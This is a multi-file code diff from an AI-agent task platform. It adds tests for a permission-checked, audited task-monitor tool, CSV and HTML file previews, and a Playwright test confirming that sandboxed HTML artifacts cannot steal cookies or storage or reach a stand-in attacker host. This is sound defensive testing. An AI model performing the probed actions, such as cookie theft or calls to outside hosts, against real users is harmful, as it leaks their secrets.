import { activityLog, agents, authUsers, companyMemberships, companies, createDb, heartbeatRuns, issues } from "@paperclipai/db";
|
||||
import { PROVIDER_QUOTA_MONITOR_SERVICE_NAME } from "@paperclipai/shared";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "../../__tests__/helpers/embedded-postgres.js";
|
||||
import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js";
|
||||
import { buildIssueMonitorTriggeredPatch, normalizeIssueExecutionPolicy } from "../issue-execution-policy.js";
|
||||
import { nativeCompletionFeedback } from "./native-completion-feedback.js";
|
||||
import type { PrpStructuredRunResult } from "../../vendor/paperclip-runner/index.js";
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
if (!embeddedPostgresSupport.supported) {
|
||||
console.warn(`Skipping embedded Postgres native task monitor tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`);
|
||||
}
|
||||
|
||||
describeEmbeddedPostgres("native task monitors", () => {
|
||||
let temporary: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
let db: ReturnType<typeof createDb>;
|
||||
beforeAll(async () => {
|
||||
temporary = await startEmbeddedPostgresTestDatabase("native-task-monitor-");
|
||||
db = createDb(temporary.connectionString);
|
||||
});
|
||||
afterAll(async () => { await temporary?.cleanup(); });
|
||||
|
||||
async function fixture() {
|
||||
const companyId = randomUUID(), agentId = randomUUID(), issueId = randomUUID(), runId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Monitors", issuePrefix: `M${companyId.slice(0, 7)}` });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: "Worker", adapterType: "paperclip_runner", status: "active" });
|
||||
await db.insert(issues).values({ id: issueId, companyId, title: "Deferred check", status: "in_progress", assigneeAgentId: agentId });
|
||||
await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, nativeIssueId: issueId, runtimeMode: "native", status: "running", contextSnapshot: { issueId } });
|
||||
await db.update(issues).set({ executionRunId: runId }).where(eq(issues.id, issueId));
|
||||
const binding = { companyId, agentId, issueId, runId };
|
||||
const authority = new PaperclipRunnerToolAuthority(db, binding);
|
||||
const monitor = { nextCheckAt: new Date(Date.now() + 60_000).toISOString(), notes: "Compare this task's run and session identities." };
|
||||
const call = (args: Record<string, unknown>) => authority.execute({ tool: "set_task_monitor", callId: randomUUID(), arguments: args });
|
||||
const read = async () => (await db.select().from(issues).where(eq(issues.id, issueId)))[0]!;
|
||||
return { ...binding, binding, authority, monitor, call, read };
|
||||
}
|
||||
|
||||
it("advertises a real binding only in standard execution", async () => {
|
||||
const value = await fixture();
|
||||
expect(value.authority.definitions().some(tool => tool.name === "set_task_monitor")).toBe(true);
|
||||
for (const workMode of ["planning", "ask"] as const) {
|
||||
const authority = new PaperclipRunnerToolAuthority(db, { ...value.binding, workMode });
|
||||
expect(authority.definitions().some(tool => tool.name === "set_task_monitor")).toBe(false);
|
||||
await db.update(issues).set({ workMode }).where(eq(issues.id, value.issueId));
|
||||
await expect(authority.execute({ tool: "set_task_monitor", callId: randomUUID(), arguments: { idempotencyKey: "forbidden", monitor: value.monitor } })).rejects.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps provider-neutral discovery and review-only restrictions", async () => {
|
||||
const value = await fixture();
|
||||
for (const provider of ["codex", "opencode", "claude_managed", "aws_agentcore", "acpx"]) {
|
||||
await db.update(agents).set({ adapterConfig: { provider } }).where(eq(agents.id, value.agentId));
|
||||
expect(value.authority.definitions().map(tool => tool.name)).toContain("set_task_monitor");
|
||||
}
|
||||
const authority = new PaperclipRunnerToolAuthority(db, { ...value.binding,
|
||||
nativeReview: { nativeReviewInteractionId: randomUUID(), nativeReviewDecisionId: randomUUID() } });
|
||||
expect(authority.definitions().map(tool => tool.name)).not.toContain("set_task_monitor");
|
||||
await expect(authority.execute({ tool: "set_task_monitor", callId: randomUUID(), arguments: { idempotencyKey: "review", monitor: value.monitor } })).rejects.toThrow("review run");
|
||||
});
|
||||
|
||||
it("rechecks the responsible user's permissions before mutation and replay", async () => {
|
||||
const value = await fixture(), userId = randomUUID();
|
||||
await db.insert(authUsers).values({ id: userId, name: "Owner", email: `${userId}@example.test`, createdAt: new Date(), updatedAt: new Date() });
|
||||
await db.insert(companyMemberships).values({ companyId: value.companyId, principalType: "user", principalId: userId, membershipRole: "owner" });
|
||||
await db.update(heartbeatRuns).set({ responsibleUserId: userId }).where(eq(heartbeatRuns.id, value.runId));
|
||||
const original = { idempotencyKey: "authorized", monitor: value.monitor };
|
||||
await value.call(original);
|
||||
await db.update(companyMemberships).set({ membershipRole: "viewer" }).where(eq(companyMemberships.companyId, value.companyId));
|
||||
await expect(value.call(original)).rejects.toThrow();
|
||||
await expect(value.call({ idempotencyKey: "clear", monitor: null })).rejects.toThrow();
|
||||
expect((await value.read()).monitorNextCheckAt?.toISOString()).toBe(value.monitor.nextCheckAt);
|
||||
});
|
||||
|
||||
it("persists a monitor and its audit atomically while preserving review policy", async () => {
|
||||
const value = await fixture();
|
||||
const policy = { mode: "normal", commentRequired: false, stages: [{ id: randomUUID(), type: "review", approvalsNeeded: 1, participants: [{ type: "user", userId: "reviewer" }] }] };
|
||||
await db.update(issues).set({ executionPolicy: policy }).where(eq(issues.id, value.issueId));
|
||||
const result = await value.call({ idempotencyKey: "schedule", monitor: value.monitor });
|
||||
expect(result).toMatchObject({ taskId: value.issueId, monitor: { ...value.monitor, scheduledBy: "assignee", status: "scheduled" }, replayed: false });
|
||||
const saved = await value.read();
|
||||
expect(saved.executionPolicy).toMatchObject(policy);
|
||||
expect(saved.monitorNextCheckAt?.toISOString()).toBe(value.monitor.nextCheckAt);
|
||||
expect(saved.status).toBe("in_progress");
|
||||
const audits = await db.select().from(activityLog).where(and(eq(activityLog.entityId, value.issueId), eq(activityLog.action, "issue.monitor_scheduled")));
|
||||
expect(audits).toHaveLength(1);
|
||||
expect(audits[0]).toMatchObject({ runId: value.runId, agentId: value.agentId });
|
||||
});
|
||||
|
||||
it("replaces and clears schedules without re-arming a receipt on replay", async () => {
|
||||
const value = await fixture();
|
||||
const original = { idempotencyKey: "first", monitor: value.monitor };
|
||||
await value.call(original);
|
||||
const replacement = { ...value.monitor, nextCheckAt: new Date(Date.now() + 120_000).toISOString() };
|
||||
await value.call({ idempotencyKey: "replace", monitor: replacement });
|
||||
expect(await value.call(original)).toMatchObject({ monitor: { nextCheckAt: replacement.nextCheckAt }, replayed: true });
|
||||
await value.call({ idempotencyKey: "clear", monitor: null });
|
||||
expect(await value.call(original)).toMatchObject({ monitor: { nextCheckAt: null, status: "cleared" }, replayed: true });
|
||||
expect((await value.read()).monitorNextCheckAt).toBeNull();
|
||||
await expect(value.call({ ...original, monitor: replacement })).rejects.toThrow("idempotency_conflict");
|
||||
const audits = await db.select().from(activityLog).where(eq(activityLog.entityId, value.issueId));
|
||||
expect(audits.filter(row => row.action.startsWith("issue.monitor_"))).toHaveLength(3);
|
||||
});
|
||||
|
||||
it("exposes consumed monitor instructions to a resumed task and does not re-arm them on retry", async () => {
|
||||
const value = await fixture();
|
||||
const input = { idempotencyKey: "consumed", monitor: value.monitor };
|
||||
await value.call(input);
|
||||
const scheduled = await value.read();
|
||||
await db.update(issues).set(buildIssueMonitorTriggeredPatch({ issue: scheduled,
|
||||
policy: normalizeIssueExecutionPolicy(scheduled.executionPolicy), triggeredAt: new Date() })).where(eq(issues.id, value.issueId));
|
||||
expect(await value.authority.execute({ tool: "get_task_context", callId: randomUUID(), arguments: {} }))
|
||||
.toMatchObject({ activeTask: { monitor: { status: "triggered", nextCheckAt: null, notes: value.monitor.notes, attemptCount: 1 } } });
|
||||
expect(await value.call(input)).toMatchObject({ replayed: true, monitor: { nextCheckAt: null, status: "triggered" } });
|
||||
expect((await value.read()).monitorNextCheckAt).toBeNull();
|
||||
});
|
||||
|
||||
it("keeps a cleared schedule cleared when a successor run retries the original key", async () => {
|
||||
const value = await fixture();
|
||||
const original = { idempotencyKey: "durable-schedule", monitor: value.monitor };
|
||||
await value.call(original);
|
||||
await value.call({ idempotencyKey: "durable-clear", monitor: null });
|
||||
await db.update(heartbeatRuns).set({ status: "succeeded" }).where(eq(heartbeatRuns.id, value.runId));
|
||||
const nextRunId = randomUUID();
|
||||
await db.insert(heartbeatRuns).values({ id: nextRunId, companyId: value.companyId, agentId: value.agentId,
|
||||
nativeIssueId: value.issueId, runtimeMode: "native", status: "running", contextSnapshot: { issueId: value.issueId } });
|
||||
await db.update(issues).set({ executionRunId: nextRunId }).where(eq(issues.id, value.issueId));
|
||||
const authority = new PaperclipRunnerToolAuthority(db, { ...value.binding, runId: nextRunId });
|
||||
expect(await authority.execute({ tool: "set_task_monitor", callId: randomUUID(), arguments: original }))
|
||||
.toMatchObject({ replayed: true, monitor: { nextCheckAt: null, status: "cleared" } });
|
||||
expect((await value.read()).monitorNextCheckAt).toBeNull();
|
||||
await expect(value.call(original)).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("allows another owned task but rejects foreign ownership and company scope", async () => {
|
||||
const value = await fixture(), other = await fixture(), targetId = randomUUID();
|
||||
await db.insert(issues).values({ id: targetId, companyId: value.companyId, title: "Another owned check", status: "in_review", assigneeAgentId: value.agentId });
|
||||
expect(await value.call({ taskId: targetId, idempotencyKey: "other", monitor: value.monitor })).toMatchObject({ taskId: targetId });
|
||||
await expect(value.call({ taskId: other.issueId, idempotencyKey: "foreign", monitor: value.monitor })).rejects.toThrow("Task not found");
|
||||
const otherAgent = randomUUID();
|
||||
await db.insert(agents).values({ id: otherAgent, companyId: value.companyId, name: "Other", adapterType: "paperclip_runner" });
|
||||
await db.update(issues).set({ assigneeAgentId: otherAgent }).where(eq(issues.id, targetId));
|
||||
await expect(value.call({ taskId: targetId, idempotencyKey: "other", monitor: value.monitor })).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("rejects invalid schedules, exhausted bounds and ineligible tasks without writes", async () => {
|
||||
const value = await fixture();
|
||||
for (const monitor of [
|
||||
{ ...value.monitor, notes: "" },
|
||||
{ ...value.monitor, nextCheckAt: new Date(0).toISOString() },
|
||||
{ ...value.monitor, scheduledBy: "board" },
|
||||
{ ...value.monitor, timeoutAt: value.monitor.nextCheckAt },
|
||||
{ ...value.monitor, maxAttempts: 101 },
|
||||
]) await expect(value.call({ idempotencyKey: randomUUID(), monitor })).rejects.toThrow();
|
||||
await db.update(issues).set({ monitorAttemptCount: 1 }).where(eq(issues.id, value.issueId));
|
||||
await expect(value.call({ idempotencyKey: "exhausted", monitor: { ...value.monitor, maxAttempts: 1 } })).rejects.toThrow();
|
||||
for (const status of ["blocked", "backlog", "done", "cancelled"] as const) {
|
||||
await db.update(issues).set({ status }).where(eq(issues.id, value.issueId));
|
||||
await expect(value.call({ idempotencyKey: randomUUID(), monitor: value.monitor })).rejects.toThrow();
|
||||
}
|
||||
expect((await value.read()).monitorNextCheckAt).toBeNull();
|
||||
});
|
||||
|
||||
it("accepts unfinished monitor waits only after scheduling the current task", async () => {
|
||||
const value = await fixture();
|
||||
const result: PrpStructuredRunResult = {
|
||||
schema: "paperclip.run_result.v1", reportedWorkDisposition: "yielded", summary: "I will compare the next run.",
|
||||
completionClaim: { contractRevision: "test", objectiveSatisfied: false, criteria: [], remainingWork: [{ description: "Compare next run", blocksCompletion: true }] },
|
||||
continuation: { kind: "monitor", summary: "Wait for the scheduled check", idempotencyKey: "wait" },
|
||||
evidence: [], verification: [], attentionRequests: [], artifacts: [],
|
||||
};
|
||||
await expect(nativeCompletionFeedback(db, value.runId, result)).rejects.toThrow("persisted, eligible monitor");
|
||||
const otherId = randomUUID();
|
||||
await db.insert(issues).values({ id: otherId, companyId: value.companyId, title: "Other", status: "in_progress", assigneeAgentId: value.agentId });
|
||||
await value.call({ taskId: otherId, idempotencyKey: "other", monitor: value.monitor });
|
||||
await expect(nativeCompletionFeedback(db, value.runId, result)).rejects.toThrow("persisted, eligible monitor");
|
||||
await value.call({ idempotencyKey: "self", monitor: value.monitor });
|
||||
await expect(nativeCompletionFeedback(db, value.runId, result)).resolves.toContain("issue_monitor_due");
|
||||
// Legacy APIs may persist a server-owned quota monitor. It cannot justify
|
||||
// a native wait because its dispatcher explicitly excludes native runs.
|
||||
await db.update(issues).set({ executionPolicy: { monitor: { ...value.monitor, serviceName: PROVIDER_QUOTA_MONITOR_SERVICE_NAME } } }).where(eq(issues.id, value.issueId));
|
||||
await expect(nativeCompletionFeedback(db, value.runId, result)).rejects.toThrow("persisted, eligible monitor");
|
||||
await value.call({ idempotencyKey: "clear", monitor: null });
|
||||
await expect(nativeCompletionFeedback(db, value.runId, result)).rejects.toThrow("persisted, eligible monitor");
|
||||
});
|
||||
|
||||
it("rejects the server-owned quota recovery name without promising a wake", async () => {
|
||||
const value = await fixture();
|
||||
await expect(value.call({ idempotencyKey: "quota", monitor: {
|
||||
...value.monitor, serviceName: PROVIDER_QUOTA_MONITOR_SERVICE_NAME, externalRef: value.runId,
|
||||
} })).rejects.toThrow("reserved for server-owned quota recovery");
|
||||
expect((await value.read()).monitorNextCheckAt).toBeNull();
|
||||
const audits = await db.select().from(activityLog).where(eq(activityLog.entityId, value.issueId));
|
||||
expect(audits).toHaveLength(0);
|
||||
const [run] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, value.runId));
|
||||
expect(run.resultJson?.semanticToolReceipts).toBeUndefined();
|
||||
await expect(value.call({ idempotencyKey: "quota", monitor: {
|
||||
...value.monitor, serviceName: "Provider usage dashboard",
|
||||
} })).resolves.toMatchObject({ monitor: { status: "scheduled" }, replayed: false });
|
||||
});
|
||||
});
|
||||
@@ -359,7 +359,8 @@ function previewKindForKnownContentType(contentType: string | null): WorkspaceFi
|
||||
if (contentType.startsWith("image/") && contentType !== "image/svg+xml") return "image";
|
||||
if (contentType.startsWith("video/")) return "video";
|
||||
if (contentType === "application/pdf") return "pdf";
|
||||
if (contentType === "text/html") return "unsupported";
|
||||
// HTML is returned as bounded UTF-8 in the JSON content response. The UI
|
||||
// renders it only in its opaque-origin sandbox; downloads stay attachments.
|
||||
if (contentType === "image/svg+xml" || contentType.startsWith("text/")) return "text";
|
||||
return "unsupported";
|
||||
}
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
import { expect, test } from "@playwright/test";
|
||||
|
||||
test("interactive reports work and rendered/raw controls preserve the original download", async ({ page }) => {
|
||||
await page.goto("/iframe.html?id=html-artifacts-01-preview--interactive-report&viewMode=story");
|
||||
const report = page.frameLocator('iframe[title="repository-usage.html rendered HTML"]');
|
||||
await expect(report.getByRole("cell", { name: "juspay/hyperswitch", exact: true })).toBeVisible();
|
||||
await report.getByPlaceholder("Search repositories").fill("storybook");
|
||||
await expect(report.getByText("1 qualifying repositories")).toBeVisible();
|
||||
await expect(report.getByRole("cell", { name: "juspay/hyperswitch", exact: true })).toHaveCount(0);
|
||||
const original = await page.getByRole("link", { name: "Download repository-usage.html" }).getAttribute("href");
|
||||
await page.getByRole("button", { name: "Raw", exact: true }).click();
|
||||
await expect(page.locator("iframe[title$='rendered HTML']")).toHaveCount(0);
|
||||
await expect(page.getByLabel("repository-usage.html raw text")).toContainText("<script>");
|
||||
expect(await page.getByRole("link", { name: "Download repository-usage.html" }).getAttribute("href")).toBe(original);
|
||||
await page.getByRole("button", { name: "Rendered", exact: true }).click();
|
||||
await expect(report.getByText("6 qualifying repositories")).toBeVisible();
|
||||
});
|
||||
|
||||
test("artifact JavaScript cannot read cookies, host DOM or storage, submit forms, escape or load resources", async ({ page, context }) => {
|
||||
await context.addCookies([{ name: "html-preview-cookie", value: "host-secret", url: "http://127.0.0.1:6189" }]);
|
||||
const attempts: string[] = [];
|
||||
await context.route("**/*", async route => {
|
||||
const url = route.request().url();
|
||||
if (url.includes("html-preview-attacker.invalid") || url.includes("/api/html-preview-probe")) {
|
||||
attempts.push(url);
|
||||
return route.abort();
|
||||
}
|
||||
return route.continue();
|
||||
});
|
||||
await page.goto("/iframe.html?id=html-artifacts-01-preview--security-checks&viewMode=story");
|
||||
const report = page.frameLocator('iframe[title="isolation-checks.html rendered HTML"]');
|
||||
for (const probe of ["Cookies", "Parent document", "Parent cookies", "Local storage", "Session storage", "Top navigation", "Popups", "API request", "Remote request"]) {
|
||||
await expect(report.getByText(`${probe}: blocked`, { exact: true })).toBeVisible();
|
||||
}
|
||||
await expect(report.getByText(/UNEXPECTED ACCESS/)).toHaveCount(0);
|
||||
expect(attempts).toEqual([]);
|
||||
expect(context.pages()).toHaveLength(1);
|
||||
expect(page.url()).toContain("security-checks");
|
||||
expect(await page.evaluate(() => document.cookie)).toContain("host-secret");
|
||||
});
|
||||
|
||||
test("workspace panel and file sheet use the same renderer and adjacent view controls", async ({ page }) => {
|
||||
for (const story of ["task-panel", "file-sheet"]) {
|
||||
await page.goto(`/iframe.html?id=html-artifacts-02-workspace--${story}&viewMode=story`);
|
||||
const report = page.frameLocator('iframe[title="repository-usage.html rendered HTML"]');
|
||||
await expect(report.getByText("6 qualifying repositories")).toBeVisible();
|
||||
await page.getByRole("button", { name: "Raw", exact: true }).click();
|
||||
await expect(page.locator("iframe[title$='rendered HTML']")).toHaveCount(0);
|
||||
await expect(page.getByRole("region", { name: "repository-usage.html source" })).toContainText("<script>");
|
||||
await page.getByRole("button", { name: "Rendered", exact: true }).click();
|
||||
await expect(report.getByText("6 qualifying repositories")).toBeVisible();
|
||||
}
|
||||
});
|
||||
|
||||
test("opening an HTML artifact from a task shows its interactive report", async ({ page }) => {
|
||||
await page.goto("/iframe.html?id=html-artifacts-03-task-journey--open-from-task&viewMode=story");
|
||||
await page.getByRole("button", { name: "Open in tab: Interactive repository usage report" }).click();
|
||||
const report = page.frameLocator('iframe[title="repository-usage.html rendered HTML"]');
|
||||
await expect(report.getByText("6 qualifying repositories")).toBeVisible();
|
||||
await report.getByPlaceholder("Search repositories").fill("storybook");
|
||||
await expect(report.getByText("1 qualifying repositories")).toBeVisible();
|
||||
await page.getByRole("button", { name: "Raw", exact: true }).click();
|
||||
await expect(page.getByLabel("repository-usage.html raw text")).toContainText("<script>");
|
||||
await expect(page.getByRole("link", { name: "Download repository-usage.html" })).toHaveAttribute("href", /report\.html/);
|
||||
});
|
||||
@@ -0,0 +1,17 @@
|
||||
import { defineConfig } from "@playwright/test";
|
||||
|
||||
export default defineConfig({
|
||||
testDir: ".",
|
||||
outputDir: "./test-results",
|
||||
timeout: 60_000,
|
||||
workers: 1,
|
||||
reporter: "list",
|
||||
use: { browserName: "chromium", baseURL: "http://127.0.0.1:6189", viewport: { width: 1200, height: 900 } },
|
||||
webServer: {
|
||||
command: "node ui/node_modules/storybook/dist/bin/dispatcher.js dev -p 6189 --host 127.0.0.1 --exact-port -c ui/storybook/.storybook --ci",
|
||||
cwd: "../..",
|
||||
url: "http://127.0.0.1:6189/index.json",
|
||||
reuseExistingServer: true,
|
||||
timeout: 120_000,
|
||||
},
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
import { useMemo } from "react";
|
||||
import { parseCsv } from "@/lib/csv-preview";
|
||||
|
||||
const MAX_VISIBLE_ROWS = 500;
|
||||
const MAX_VISIBLE_COLUMNS = 100;
|
||||
|
||||
export function CsvPreview({ text, title }: { text: string; title: string }) {
|
||||
const parsed = useMemo(() => {
|
||||
try { return { rows: parseCsv(text), error: null }; }
|
||||
catch (error) { return { rows: [], error: (error as Error).message }; }
|
||||
}, [text]);
|
||||
if (parsed.error) return <p role="alert" className="p-4 text-sm text-muted-foreground">{parsed.error}</p>;
|
||||
if (!parsed.rows.length) return <p className="p-4 text-sm text-muted-foreground">File is empty.</p>;
|
||||
const [header, ...rows] = parsed.rows;
|
||||
const columnCount = parsed.rows.reduce((count, row) => Math.max(count, row.length), 0);
|
||||
const columns = Array.from({ length: Math.min(columnCount, MAX_VISIBLE_COLUMNS) }, (_, index) => index);
|
||||
return (
|
||||
<div className="flex min-h-0 flex-1 flex-col bg-background">
|
||||
<div className="flex flex-wrap items-center gap-2 border-b border-border px-4 py-2 text-xs text-muted-foreground" role="status">
|
||||
<span className="font-medium text-foreground">CSV preview</span>
|
||||
<span>{rows.length.toLocaleString()} {rows.length === 1 ? "row" : "rows"}</span>
|
||||
<span>{columnCount.toLocaleString()} {columnCount === 1 ? "column" : "columns"}</span>
|
||||
{(rows.length > MAX_VISIBLE_ROWS || columnCount > MAX_VISIBLE_COLUMNS) && <span>Showing the first {Math.min(rows.length, MAX_VISIBLE_ROWS)} rows and {columns.length} columns. Download for the complete file.</span>}
|
||||
</div>
|
||||
<div className="min-h-0 flex-1 overflow-auto focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset" role="region" aria-label={`${title} CSV table`} tabIndex={0}>
|
||||
<table className="w-full border-collapse text-sm">
|
||||
<caption className="sr-only">{title} — first record used as column headers</caption>
|
||||
<thead className="sticky top-0 z-10 bg-muted">
|
||||
<tr><th scope="col" className="w-10 border-b border-border px-3 py-3 text-right font-mono text-xs text-muted-foreground"><span className="sr-only">Row</span>#</th>
|
||||
{columns.map((column) => <th key={column} scope="col" className="whitespace-nowrap border-b border-border px-4 py-3 text-left font-medium">{header[column] || `Column ${column + 1}`}</th>)}
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>{rows.slice(0, MAX_VISIBLE_ROWS).map((row, index) => <tr key={index} className="even:bg-muted/30 hover:bg-accent/50">
|
||||
<th scope="row" className="border-b border-border/50 px-3 py-2 text-right font-mono text-xs font-normal text-muted-foreground">{index + 1}</th>
|
||||
{columns.map((column) => <td key={column} className="whitespace-pre-wrap border-b border-border/50 px-4 py-2 align-top">{row[column] ?? ""}</td>)}
|
||||
</tr>)}</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
import { Code2, Eye } from "lucide-react";
|
||||
import { Button } from "@/components/ui/button";
|
||||
|
||||
export type FilePreviewMode = "rendered" | "raw";
|
||||
|
||||
export function FilePreviewModeToggle({ mode, onChange, label }: {
|
||||
mode: FilePreviewMode;
|
||||
onChange: (mode: FilePreviewMode) => void;
|
||||
label: string;
|
||||
}) {
|
||||
return (
|
||||
<div className="flex gap-1" role="group" aria-label={label}>
|
||||
<Button type="button" size="icon-sm" variant={mode === "rendered" ? "secondary" : "ghost"} aria-label="Rendered" title="Rendered" aria-pressed={mode === "rendered"} onClick={() => onChange("rendered")}>
|
||||
<Eye aria-hidden />
|
||||
</Button>
|
||||
<Button type="button" size="icon-sm" variant={mode === "raw" ? "secondary" : "ghost"} aria-label="Raw" title="Raw" aria-pressed={mode === "raw"} onClick={() => onChange("raw")}>
|
||||
<Code2 aria-hidden />
|
||||
</Button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -4,7 +4,7 @@ import { flushSync } from "react-dom";
|
||||
import { createRoot, type Root } from "react-dom/client";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { ResolvedWorkspaceResource, WorkspaceFileContent } from "@paperclipai/shared";
|
||||
import { FileViewerSheet } from "./FileViewerSheet";
|
||||
import { FileContentViewer, FileViewerSheet } from "./FileViewerSheet";
|
||||
|
||||
const useQueryMock = vi.fn();
|
||||
const viewerMock = {
|
||||
@@ -206,3 +206,27 @@ describe("FileViewerSheet copy actions", () => {
|
||||
expect(document.body.querySelector('[aria-label="launch.md rendered Markdown"]')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
describe("source line navigation", () => {
|
||||
it("scrolls plain source to its selected line when the toolbar requests rendered mode", () => {
|
||||
const container = document.createElement("div");
|
||||
document.body.appendChild(container);
|
||||
const root = createRoot(container);
|
||||
const scrollIntoView = vi.fn();
|
||||
const original = HTMLElement.prototype.scrollIntoView;
|
||||
HTMLElement.prototype.scrollIntoView = scrollIntoView;
|
||||
try {
|
||||
flushSync(() => root.render(<FileContentViewer content={{
|
||||
resource: { ...resolvedResource, title: "util.ts", displayPath: "src/util.ts", contentType: "text/plain" },
|
||||
content: { encoding: "utf8", data: "first\nsecond\nthird" },
|
||||
}} highlightedLine={2} previewMode="rendered" />));
|
||||
expect(scrollIntoView).toHaveBeenCalledWith({ block: "center", behavior: "auto" });
|
||||
expect(container.textContent).toContain("second");
|
||||
} finally {
|
||||
flushSync(() => root.unmount());
|
||||
container.remove();
|
||||
HTMLElement.prototype.scrollIntoView = original;
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -168,3 +168,51 @@ describe("FileViewerMetadataRow", () => {
|
||||
expect(markup).toContain("Loading file details");
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
describe("workspace CSV content", () => {
|
||||
const csv: WorkspaceFileContent = {
|
||||
resource: { kind: "file", provider: "git_worktree", title: "export.csv", displayPath: "export.csv", workspaceLabel: "Workspace", workspaceKind: "execution_workspace", workspaceId: "ws", contentType: "text/csv", byteSize: 20, previewKind: "text", capabilities: { preview: true, download: true, listChildren: false } },
|
||||
content: { encoding: "utf8", data: 'Name,Amount\n"Lee, Sam",12' },
|
||||
};
|
||||
it("defaults to a table and supports toolbar-controlled raw mode", () => {
|
||||
const rendered = renderToStaticMarkup(<FileContentViewer content={csv} highlightedLine={null} previewMode="rendered" />);
|
||||
expect(rendered).toContain("<table");
|
||||
expect(rendered).toContain("Lee, Sam");
|
||||
expect(rendered).not.toContain("CSV preview mode");
|
||||
const raw = renderToStaticMarkup(<FileContentViewer content={csv} highlightedLine={null} previewMode="raw" />);
|
||||
expect(raw).toContain("export.csv source");
|
||||
expect(raw).not.toContain("<table");
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
describe("CSV preview limits", () => {
|
||||
it.each([[500, 2], [501, 2], [1, 100], [1, 101]])(
|
||||
"bounds a file with %i rows and %i columns and preserves raw source",
|
||||
(rowCount, columnCount) => {
|
||||
const header = Array.from({ length: columnCount }, (_, i) => `Header${i}`).join(",");
|
||||
const row = Array.from({ length: columnCount }, (_, i) => `Value${i}`).join(",");
|
||||
const source = [header, ...Array.from({ length: rowCount }, () => row)].join("\n");
|
||||
const content: WorkspaceFileContent = {
|
||||
resource: { kind: "file", provider: "git_worktree", title: "limits.csv", displayPath: "limits.csv", workspaceLabel: "Workspace", workspaceKind: "execution_workspace", workspaceId: "ws", contentType: "text/csv", byteSize: source.length, previewKind: "text", capabilities: { preview: true, download: true, listChildren: false } },
|
||||
content: { encoding: "utf8", data: source },
|
||||
};
|
||||
const rendered = renderToStaticMarkup(<FileContentViewer content={content} highlightedLine={null} previewMode="rendered" />);
|
||||
expect((rendered.match(/<td /g) ?? []).length).toBe(Math.min(rowCount, 500) * Math.min(columnCount, 100));
|
||||
expect((rendered.match(/scope="col"/g) ?? []).length).toBe(Math.min(columnCount, 100) + 1);
|
||||
expect(rendered).toContain(`${rowCount} ${rowCount === 1 ? "row" : "rows"}`);
|
||||
expect(rendered).toContain(`${columnCount} columns`);
|
||||
if (rowCount > 500 || columnCount > 100) {
|
||||
expect(rendered).toContain(`Showing the first ${Math.min(rowCount, 500)} rows and ${Math.min(columnCount, 100)} columns.`);
|
||||
} else {
|
||||
expect(rendered).not.toContain("Showing the first");
|
||||
}
|
||||
const raw = renderToStaticMarkup(<FileContentViewer content={content} highlightedLine={null} previewMode="raw" />);
|
||||
expect(raw).not.toContain("<table");
|
||||
expect((raw.match(/Value0/g) ?? []).length).toBe(rowCount);
|
||||
expect(raw).toContain(row);
|
||||
expect(raw).toContain(header);
|
||||
},
|
||||
);
|
||||
});
|
||||
@@ -1,3 +1,5 @@
|
||||
import { CsvPreview } from "./CsvPreview";
|
||||
import { isCsvFile } from "@/lib/csv-preview";
|
||||
import {
|
||||
useCallback,
|
||||
useEffect,
|
||||
@@ -47,6 +49,9 @@ import {
|
||||
} from "@/context/FileViewerContext";
|
||||
import { WorkspaceFileBrowser } from "@/components/WorkspaceFileBrowser";
|
||||
import { WorkspaceFileMarkdownBody } from "@/components/WorkspaceFileMarkdownBody";
|
||||
import { HtmlArtifactPreview } from "@/components/HtmlArtifactPreview";
|
||||
import { FilePreviewModeToggle, type FilePreviewMode } from "@/components/FilePreviewModeToggle";
|
||||
import { isHtmlPreview } from "@/lib/html-preview";
|
||||
import type {
|
||||
ResolvedWorkspaceResource,
|
||||
WorkspaceFileContent,
|
||||
@@ -234,14 +239,20 @@ interface FileContentViewerProps {
|
||||
content: WorkspaceFileContent;
|
||||
highlightedLine: number | null;
|
||||
onLoaded?: (summary: string) => void;
|
||||
previewMode?: "raw" | "rendered";
|
||||
htmlMode?: FilePreviewMode;
|
||||
}
|
||||
|
||||
type MarkdownPreviewMode = "raw" | "rendered";
|
||||
|
||||
export function FileContentViewer({ content, highlightedLine, onLoaded }: FileContentViewerProps) {
|
||||
export function FileContentViewer({ content, highlightedLine, onLoaded, previewMode, htmlMode = "rendered" }: FileContentViewerProps) {
|
||||
const { resource } = content;
|
||||
const isMarkdown = resource.previewKind === "text" && content.content.encoding === "utf8" && isMarkdownResource(resource);
|
||||
const [markdownMode, setMarkdownMode] = useState<MarkdownPreviewMode>("rendered");
|
||||
const isCsv = resource.previewKind === "text" && content.content.encoding === "utf8" && isCsvFile(resource.displayPath || resource.title, resource.contentType ?? "");
|
||||
const [localMode, setMarkdownMode] = useState<MarkdownPreviewMode>("rendered");
|
||||
const markdownMode = isMarkdown || isCsv ? (previewMode ?? localMode) : "raw";
|
||||
const isHtml = resource.previewKind === "text" && content.content.encoding === "utf8" && isHtmlPreview(resource.contentType, resource.displayPath || resource.title);
|
||||
const previewLabel = isCsv ? "CSV" : "Markdown";
|
||||
const lines = useMemo(() => {
|
||||
